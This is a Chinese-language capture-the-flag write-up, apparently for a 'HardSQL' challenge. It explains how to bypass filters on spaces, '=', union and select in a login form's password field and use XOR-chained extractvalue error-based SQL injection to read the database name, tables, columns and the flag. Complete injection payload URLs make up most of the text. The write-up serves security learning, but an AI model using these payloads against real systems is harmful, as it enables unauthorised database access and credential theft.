
題目界面

根據原始碼可以知道,這里get了兩個變數,username和password
發現單引號有報錯,雙引號沒有,沒提示有括號,所以應該是普通單引號閉合的字符型注入點
嘗試order by爆欄位數發現有

說明有過濾,一個個試發現如and/空格/union/select/=//**/等都被過濾了
所以這里嘗試報錯注入
- 報錯注入—>爆資料庫名
check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23
得到資料庫名geek
1、這里的^的意義是異或的作用,具體作用可以去搜索異或注入,這里是為了執行后面的extractvalue函式
2、%23的轉義為#,這里只能用%23,直接用#發現會報錯
3、因為空格被過濾,這里用()來代替空格
- 爆表名:得到表名H4rDsq1
username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23 #陳述句主要用()繞過了空格,用like繞過了=號
- 爆列名:得到表名id/username/password
username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23 #同上,陳述句不變改一下變數就行
- 找到flag
check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23 #這里要注意!select aaa from table_bbb;不需要引號!!!!!可是只顯示了flag其中的一段,
剩下的用right()顯示其他位數的
1 GROUP_CONCAT() #將組中的字串連接成為具有各種選項的單個字串, 2 CONCAT(s1,s2...sn) #將字串 s1,s2 等多個字串合并為一個字串 3 CONCAT_WS(x, s1,s2...sn) #同 CONCAT() 函式 4 LEFT(s,n) #回傳字串 s 的前 n 個字符 5 RIGHT(s,n) #回傳字串 s 的后 n 個字符 6 SUBSTR(s, start, length) #從字串 s 的 start 位置截取長度為 length 的子字串 7 SUBSTRING(s, start, length) #同 SUBSTR() 函式
拼接起來可以得到flag
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/376872.html
標籤:其他
